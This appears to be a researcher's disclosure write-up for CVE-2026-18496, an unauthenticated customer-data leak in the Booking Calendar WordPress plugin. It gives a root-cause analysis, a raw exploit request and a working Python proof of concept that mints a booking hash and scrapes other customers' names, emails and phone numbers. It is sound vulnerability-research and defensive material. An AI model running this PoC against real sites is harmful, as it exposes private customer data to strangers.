CVE-2026-18496: Booking Calendar Unauthenticated Customer Data Exposure via a Timeline Booking Hash
TL;DR
- I found an unauthenticated information exposure in Booking Calendar, a WordPress plugin with over 40,000 active installs, that lets a logged-out visitor read other customers' names, emails and phone numbers.
- The plugin's public timeline runs through an AJAX action that logged-out users can call, and the front-end nonce check is off by default, so nothing stops an anonymous request.
- Two earlier CVE fixes stopped the timeline showing booking popovers to anonymous callers, but a legacy code path switches them back on for any request carrying a valid booking hash, which the attacker mints from their own booking.
- The filter meant to limit the results to the hash owner's own booking never runs in the free plugin, so the response returns other customers' bookings in the requested date window, not just the attacker's own.
- The issue affects Booking Calendar
<= 11.4.3, was assigned CVE-2026-18496, and was fixed in 11.5.
Summary
- CVE: CVE-2026-18496
- Product: Booking Calendar
- Active Installs: 40,000+
- Vulnerability: Unauthenticated Sensitive Information Exposure via a Timeline Booking Hash
- Affected Versions: <= 11.4.3
- Fixed In: 11.5
- CVSS Severity: 5.3 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Required Privilege: Unauthenticated
- Advisory: Wordfence
- Reported: May 22, 2026
- NVD Published: October 10, 2026
Introduction
[A]I was diffing Booking Calendar releases around its front-end timeline, which is the strip that shows which days are booked. Two separate CVEs had been reported against the same AJAX action for leaking booking details, and the vendor had fixed both. One fix added a hardcoded constant that turns the detail popovers off for front-end visitors. The other added a role check so an anonymous caller cannot ask for the admin view. With both in place, a logged-out request to the timeline comes back with the calendar grid and nothing sensitive attached.
That held everywhere I looked, except for one older feature. Booking Calendar lets a customer manage their own booking from a link that carries a per-booking hash, and the timeline has a branch that exists to serve that page. When a request arrives with a valid hash, that branch turns the popovers back on. Nobody had revisited it when the two CVE fixes went in, so it still overrode them, and the hash it trusts is one an attacker can mint for themselves.
Root Cause Analysis
The Timeline Endpoint Takes Unauthenticated Requests
The timeline navigation runs on the WPBC_FLEXTIMELINE_NAV AJAX action, which Booking Calendar maps to 'both' in its hook list. A registration loop turns that 'both' into a wp_ajax_nopriv_ hook, in core/lib/wpbc-ajax.php.
// core/lib/wpbc-ajax.php
if ( ( $wpbc_action_where == 'both' ) || ( $wpbc_action_where == 'client' ) )
add_action( 'wp_ajax_nopriv_' . $wpbc_action_name, 'wpbc_ajax_' . $wpbc_action_name); // Client (not logged in)
The wp_ajax_nopriv_ hook is the one WordPress fires for logged-out callers, so a visitor with no account reaches the handler. The handler itself only checks a nonce when a front-end nonce option is switched on, in wpbc_ajax_WPBC_FLEXTIMELINE_NAV().
// core/lib/wpbc-ajax.php (wpbc_ajax_WPBC_FLEXTIMELINE_NAV)
if ( wpbc_is_use_nonce_at_front_end() ) { // FixIn: 10.1.1.2.
// ... nonce verified here, otherwise wp_die() ...
}
make_bk_action( 'wpbc_ajax_flex_timeline' );
The nonce check sits behind wpbc_is_use_nonce_at_front_end(), which reads the booking_is_nonce_at_front_end option and ships set to Off in core/wpbc-activation.php. On a default install the branch is skipped and make_bk_action() dispatches straight into the timeline code. So the request needs no account and no token.
The Two Earlier Fixes
The booking popovers are the hover boxes that show a reservation's details on the timeline. They hold the customer data. Two earlier fixes worked together to keep them away from anonymous callers.
The first came with CVE-2025-14146, fixed in 10.14.11, which defines a constant that disables the popovers outright, in wpdev-booking.php.
// wpdev-booking.php
if ( ! defined( 'WPBC_DISABLE_POPOVER_IN_TIMELINE' ) ) {
define( 'WPBC_DISABLE_POPOVER_IN_TIMELINE', true ); // [1] Popovers off on the front end.
}
The second came with CVE-2026-1431, fixed in 10.14.14. In ajax_init(), if the request is not already front-end, it checks the current user's role and forces front-end mode for anyone below the configured level, in wpbc-class-timeline_v2.php.
// core/timeline/v2/wpbc-class-timeline_v2.php (ajax_init)
$is_frontend = (bool) $attr['is_frontend'];
if ( ! $is_frontend ) {
// ... look up the current user's role and the minimum required level ...
if ( empty( $current_user ) || empty( $current_user->user_level ) || ( $current_user->user_level < $level ) ) {
// Security Fix: Enforce frontend mode for non-admins.
$attr['is_frontend'] = 1;
}
}
The constant at [1] means front-end visitors get no popovers, and the role forcing means an unauthenticated caller is always treated as a front-end visitor. Between them, the two fixes keep booking details out of a front-end request.
A Booking Hash Turns Them Back On
The decision about whether to render popovers lives in one function. It applies the constant from the first fix, then runs the legacy hash branch, in wpbc_is_show_popover_in_flex_timeline().
// core/timeline/v2/wpbc-class-timeline_v2.php (wpbc_is_show_popover_in_flex_timeline)
if ( $is_frontend ) {
if ( WPBC_DISABLE_POPOVER_IN_TIMELINE ) {
$is_show_popover_in_timeline = false; // [2] Disabled for the front end.
} else {
// ... legacy behaviour; reached only when the constant is false, which it never is by default.
}
}
if ( ( $is_frontend ) && ( ! empty( $booking_hash ) ) ) {
$my_booking_id_type = wpbc_hash__get_booking_id__resource_id( $booking_hash );
if ( ! empty( $my_booking_id_type ) ) {
$is_show_popover_in_timeline = true; // [3] Re-enabled for a valid hash.
} else {
$is_show_popover_in_timeline = false;
}
}
The front-end branch sets the flag to false at [2], which is the CVE-2025-14146 fix taking effect. The second block, added years earlier for the customer booking-management page, runs afterwards. If the request is front-end and carries a booking_hash that resolves to a real booking, it sets the flag back to true at [3]. An invalid hash falls to the else and leaves popovers off, but the attacker holds a real hash, so the override runs last and wins. Any valid hash brings the popovers back for a front-end request, which is exactly the position an unauthenticated attacker is in.
The Owner Filter That Never Runs
Turning the popovers back on would matter less if the response only held the hash owner's own booking. The code reads that way at first glance. Before it runs the query, ajax_init() takes the hash, looks up the email address on that booking, and sets it as a keyword to filter by, in wpbc-class-timeline_v2.php.
// core/timeline/v2/wpbc-class-timeline_v2.php (ajax_init)
if ( isset( $attr['booking_hash'] ) ) {
$booking_details_email = wpbc_get__booking_data_field__by_booking_hash( $attr['booking_hash'] , 'email' );
if ( ! empty( $booking_details_email ) ) {
$this->request_args['only_booked_resources'] = 1;
$args['wh_keyword'] = $booking_details_email; // 'jo@wpbookingcalendar.com';
}
// ... fallback when the hash yields no email sets a sentinel keyword; omitted.
}
The keyword is meant to narrow the listing to bookings matching that email. It reaches the query builder as $wh_keyword, which is handed to a filter hook, in core/admin/wpbc-sql.php.
// core/admin/wpbc-sql.php (wpbc_get_sql_for_booking_listing)
$sql_where .= apply_bk_filter( 'get_bklist_sql_keyword', '', $wh_keyword ); // P
The apply_bk_filter() call only adds a SQL clause if something has registered the get_bklist_sql_keyword filter. Nothing registers it in the free plugin. When a filter has no callback, apply_bk_filter() returns its second argument unchanged, which here is the empty string. So the keyword the code computed is thrown away, the WHERE clause gains no restriction, and the query returns the bookings in the timeline's date window, not just the hash owner's. The attacker's hash decides whether popovers render, and with the filter gone there is nothing to tie those popovers to the attacker's own booking.
The paid edition I tested, Business Large 9.8.12, does register the filter, so it tries to scope the listing, but it is a substring match on the booking form text rather than an exact owner check, in inc/_ps/lib_p.php.
// inc/_ps/lib_p.php (get_p_bklist_sql_keyword, Business Large 9.8.12)
$sql_where .= " AND ( bk.form LIKE '%" . $wpdb->esc_like($wh_keyword) . "%' "; // [4] Substring match on the owner email.
The same clause also ORs the keyword against bk.sync_gid and bk.remark. The keyword at [4] is still the email address pulled from the attacker's own booking. The front-end form validates the email in JavaScript, but the booking-creation AJAX endpoint accepts whatever the request sends. Submit a booking whose email is a single common character such as a, and the clause becomes LIKE '%a%', which matches almost every booking on the site.
What the Popover Hands Back
Once a booking clears the popover check, the timeline builds its detail box from the stored form, in wpbc_get_booking_info_4_popover().
// core/timeline/v2/wpbc-class-timeline_v2.php (wpbc_get_booking_info_4_popover)
$content_text .= '<div class=\'flex-popover-booking-data\'>' . esc_textarea( $bookings[$bk_id]->form_show ) . '</div>'; // FixIn: 7.1.1.2.
form_show is the booking's submitted form content, which on the default form is the first name, last name, email, phone number and any details the customer typed. The box is then written into the timeline markup as a data-content attribute on the day cell. The value is run through esc_textarea(), so it is HTML-encoded and will not execute, but the plain text sits in the response for anyone to read.
Impact
An unauthenticated attacker reads the names, email addresses and phone numbers of customers who have booked, along with anything else the booking form collected. A single request returns the bookings inside the date window it asks for, up to the query's 100,000-row page limit, and the attacker sets that window through the scroll parameters, so repeating the request across the calendar reaches the rest. Wordfence tracks it as an exposure of sensitive information to an unauthorised actor (CWE-200) and scored it 5.3.
The disclosure is read-only. The attacker learns booking data but gains no account, no role and no ability to change or delete bookings through this path, and there is no code execution. The attacker needs only a single valid booking hash, which they get from a booking they make themselves. Reading other customers' data never requires touching another customer's booking.
Exploitation
Preconditions
- Booking Calendar
<= 11.4.3is active, with at least one other customer booking on the site. - The front-end nonce option (
Use Nonce Fields) is left at its default of off. - The site redirects to a thank-you page after a booking, rather than showing the default confirmation message. That redirect is what leaks the attacker's own hash into the booking response, as described next.
Getting a Hash
The attacker needs a valid booking_hash, and the simplest source is a booking they create themselves. Booking creation is itself an unauthenticated AJAX action. When the site redirects to a thank-you page, the plugin appends the new booking's hash to that redirect URL and returns it in the creation response, so the attacker reads their own hash straight out of the JSON. On the paid build I tested, the hash also appears in the booking confirmation email through the [visitorbookingediturl] shortcode, on sites that turn that email on, since it is off by default.
Manual Request
With a hash in hand, it takes a single request. is_frontend=1 keeps the request in the front-end path the role check would force anyway, and the hash flips the popovers on.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=WPBC_FLEXTIMELINE_NAV&nav_step=0&timeline_obj[is_frontend]=1&timeline_obj[booking_hash]=BOOKING_HASH&timeline_obj[wh_booking_type]=1&timeline_obj[view_days_num]=365&timeline_obj[scroll_start_date]=&timeline_obj[scroll_day]=0&timeline_obj[scroll_month]=0&timeline_obj[html_client_id]=wpbc_timeline_1&timeline_obj[is_matrix]=0
The response is timeline HTML with a data-content attribute on each booked day. Decode the HTML entities and the customer details are in plain text. The scroll parameters move the date window the request covers, so the attacker can walk it across the calendar.
PoC
The PoC accompanying this writeup takes a target URL, creates a booking to obtain a hash (or uses one you pass in), then sends the timeline request and prints the disclosed names, emails and phone numbers. The submitted email is a single a, which also defeats the substring filter on the paid edition I tested.
#!/usr/bin/env python3
"""
Booking Calendar <= 11.4.3 - Unauthenticated Sensitive Information Exposure
The WPBC_FLEXTIMELINE_NAV AJAX handler is accessible to unauthenticated
users with nonce verification disabled by default. Providing a valid
booking_hash re-enables popover output that was disabled by a hardcoded
constant. The response contains booking form data (names, emails, phone
numbers) for bookings in the requested date window.
Usage:
python3 booking-hash-pii-disclosure.py <target_url> [booking_hash]
When booking_hash is omitted, the script creates a booking and extracts
the hash from the thank-you page redirect URL in the AJAX response.
When booking_hash is provided (e.g. from the confirmation email in a paid
edition), the script skips booking creation and uses it directly.
"""
import argparse
import html
import json
import re
import sys
import time
import urllib.parse
import urllib.request
def create_booking(target_url):
"""Create a booking and extract the hash from the redirect URL."""
booking_date = time.strftime(
"%d.%m.%Y",
time.gmtime(time.time() + 86400 * (365 + int(time.time()) % 120)),
)
data = urllib.parse.urlencode({
"action": "WPBC_AJX_BOOKING__CREATE",
"calendar_request_params[resource_id]": "1",
"calendar_request_params[dates_ddmmyy_csv]": booking_date,
"calendar_request_params[formdata]": (
"text^name1^PoC"
"~text^secondname1^Test"
"~email^email1^a"
"~text^phone1^000-000-0000"
"~textarea^details1^poc"
),
"calendar_request_params[is_emails_send]": "0",
"calendar_request_params[active_locale]": "en_US",
}).encode()
req = urllib.request.Request(
f"{target_url}/wp-admin/admin-ajax.php",
data=data,
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode()
try:
resp_json = json.loads(body)
except json.JSONDecodeError:
print("[!] Unexpected response from booking creation.")
sys.exit(1)
status = resp_json.get("ajx_data", {}).get("status")
if status != "ok":
print("[!] Booking creation failed.")
sys.exit(1)
booking_id = resp_json.get("booking_id")
ty_url = resp_json.get("ajx_confirmation", {}).get("ty_url", "")
m = re.search(r"booking_hash=([a-f0-9]{32})", ty_url)
if m:
booking_hash = m.group(1)
print(f"[+] Booking created (ID {booking_id})")
print(f"[+] Hash from redirect URL: {booking_hash}")
return booking_hash
print(f"[+] Booking created (ID {booking_id})")
print("[!] No booking_hash in response. The site may use the default")
print(" confirmation message instead of a thank-you page redirect.")
print("[!] Provide a booking_hash manually or use a paid edition where")
print(" the hash is included in the confirmation email.")
sys.exit(1)
def exploit(target_url, booking_hash):
"""Send the FLEXTIMELINE_NAV request and extract PII."""
data = urllib.parse.urlencode({
"action": "WPBC_FLEXTIMELINE_NAV",
"nav_step": "0",
"timeline_obj[is_frontend]": "1",
"timeline_obj[booking_hash]": booking_hash,
"timeline_obj[wh_booking_type]": "1",
"timeline_obj[view_days_num]": "365",
"timeline_obj[scroll_start_date]": "",
"timeline_obj[scroll_day]": "0",
"timeline_obj[scroll_month]": "0",
"timeline_obj[html_client_id]": "wpbc_timeline_1",
"timeline_obj[is_matrix]": "0",
}).encode()
req = urllib.request.Request(
f"{target_url}/wp-admin/admin-ajax.php",
data=data,
method="POST",
)
with urllib.request.urlopen(req, timeout=30) as resp:
body = resp.read().decode()
matches = re.findall(
r"popover-booking-data.*?(?=popover-booking-notes|flex-popover-booking-dates|clear)",
body,
re.DOTALL,
)
if not matches:
print("[!] No popover booking data found in response.")
print("[!] The booking_hash may be invalid or the plugin version differs.")
sys.exit(1)
print(f"[+] Disclosed {len(matches)} booking(s):\n")
for i, m in enumerate(matches, 1):
decoded = html.unescape(html.unescape(m))
pairs = re.findall(
r"<b>(.*?)</b>\s*:\s*<(?:span|f)[^>]*>(.*?)</(?:span|f)>",
decoded,
re.DOTALL,
)
print(f" Booking {i}:")
for label, value in pairs:
value = re.sub(r"<[^>]+>", "", value).strip()
label_l = label.lower()
if any(k in label_l for k in ("name", "email", "phone")):
if value:
print(f" {label}: {value}")
print()
def main():
parser = argparse.ArgumentParser(
description="Booking Calendar <= 11.4.3 - Unauthenticated PII Disclosure"
)
parser.add_argument("target_url", help="Target WordPress URL")
parser.add_argument(
"booking_hash",
nargs="?",
default=None,
help="A valid booking_hash (omit to create a booking and extract it)",
)
args = parser.parse_args()
target = args.target_url.rstrip("/")
if args.booking_hash:
booking_hash = args.booking_hash
else:
booking_hash = create_booking(target)
exploit(target, booking_hash)
if __name__ == "__main__":
main()
Run against a lab install seeded with the plugin's own demo bookings, it mints a hash and reads the other customers back out.
$ python3 booking-hash-pii-disclosure.py http://localhost:8090
[+] Booking created (ID 4)
[+] Hash from redirect URL: 605c9483aef99e8d2059aac6f998a40f
[+] Disclosed 3 booking(s):
Booking 1:
Last Name: Smith
Email: example-free@wpbookingcalendar.com
Phone: 458-77-77
Booking 2:
Last Name: Robinson
Email: example-free@wpbookingcalendar.com
Phone: 458-77-77
Booking 3:
Last Name: Robinson
Email: example-free@wpbookingcalendar.com
Phone: 999-77-77
Patch Diffing
Booking Calendar 11.5 rebuilt the way a booking hash scopes the timeline. Instead of turning the hash into an email keyword that the free plugin then ignored, the new code resolves the hash to one exact booking and restricts the query to it, in wpbc-class-timeline_v2.php.
// core/timeline/v2/wpbc-class-timeline_v2.php (wpbc_apply_booking_hash_scope_to_query_args)
$booking_scope = wpbc_hash__get_booking_id__resource_id( $booking_hash );
if ( empty( $booking_scope ) || count( $booking_scope ) < 2 ) {
$query_args['wh_booking_id'] = '-1';
return $query_args;
}
// ... booking id and resource id validated against the stored row ...
$query_args['wh_booking_id'] = (string) $booking_id;
$query_args['wh_booking_type'] = (string) $resource_id;
The query is now pinned to wh_booking_id, the hash owner's single booking, and an invalid hash selects booking -1, which matches nothing. The docblock on the new method spells out the intent, that a booking hash is a credential for one booking and must never be turned into a keyword or used to widen the query.
A second check was added at render time, so a popover only draws for a booking that belongs to the supplied hash even if the query ever returned more.
// core/timeline/v2/wpbc-class-timeline_v2.php (flex timeline cell render)
$title_in_day = $title = $title_hint = '';
- if ( $is_show_popover_in_timeline ) {
+ $can_show_booking_popover = $is_show_popover_in_timeline && $this->wpbc_is_booking_authorized_for_hash( $booking_id, $row_settings['bookings'] );
+ if ( $can_show_booking_popover ) {
$popup_content = $this->wpbc_get_booking_info_4_popover( $booking_id, $row_settings['bookings'], $row_settings['booking_types'] );
wpbc_is_booking_authorized_for_hash() returns true for a hashless timeline, so public calendars keep working, but once a hash is present it only passes the one booking that hash resolves to. The SQL restriction and the render check are deliberately independent, so the data stays scoped even if one of them regresses later.
Remediation
Update to Booking Calendar 11.5 or later. The two earlier fixes, the popover constant from 10.14.11 and the role check from 10.14.14, do not touch this path, so every version from 10.14.14 up to and including 11.4.3 carries both of them and is still exposed.
Before updating, turning on Use Nonce Fields adds the nonce check to the timeline request and raises the bar on the anonymous call. It is a smaller change than the 11.5 fix and does not address the hash override itself, so it is a stopgap rather than a fix.
Disclosure Timeline
- May 22, 2026: Reported to the Wordfence bug bounty program.
- July 28, 2026: Triage began and the report was initially closed as expected booking-form functionality.
- July 31, 2026: Reopened after I pushed back on that reasoning, validated, and CVE-2026-18496 assigned.
- August 14, 2026: Bounty awarded ($200).
- October 9, 2026: Published by Wordfence.
- October 10, 2026: Indexed by NVD.
Conclusion
The two CVE fixes on this endpoint did their job. The popovers are off for front-end visitors, and an anonymous caller cannot reach the admin view. Neither fix revisited the old customer booking-management branch, which still re-enables the popovers for any request with a valid hash, and in the free plugin the owner filter meant to keep that branch honest never runs. A hash from the attacker's own booking is then enough to read other customers' details. Version 11.5 scopes the hash to its single booking and checks it again at render time.
References
- Wordfence: Booking Calendar <= 11.4.3 - Unauthenticated Sensitive Information Exposure in 'WPBC_FLEXTIMELINE_NAV' AJAX Action
- NVD: CVE-2026-18496
- WordPress.org: Booking Calendar
- Booking Calendar: 11.5 changelog
- NVD: CVE-2025-14146
- NVD: CVE-2026-1431
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor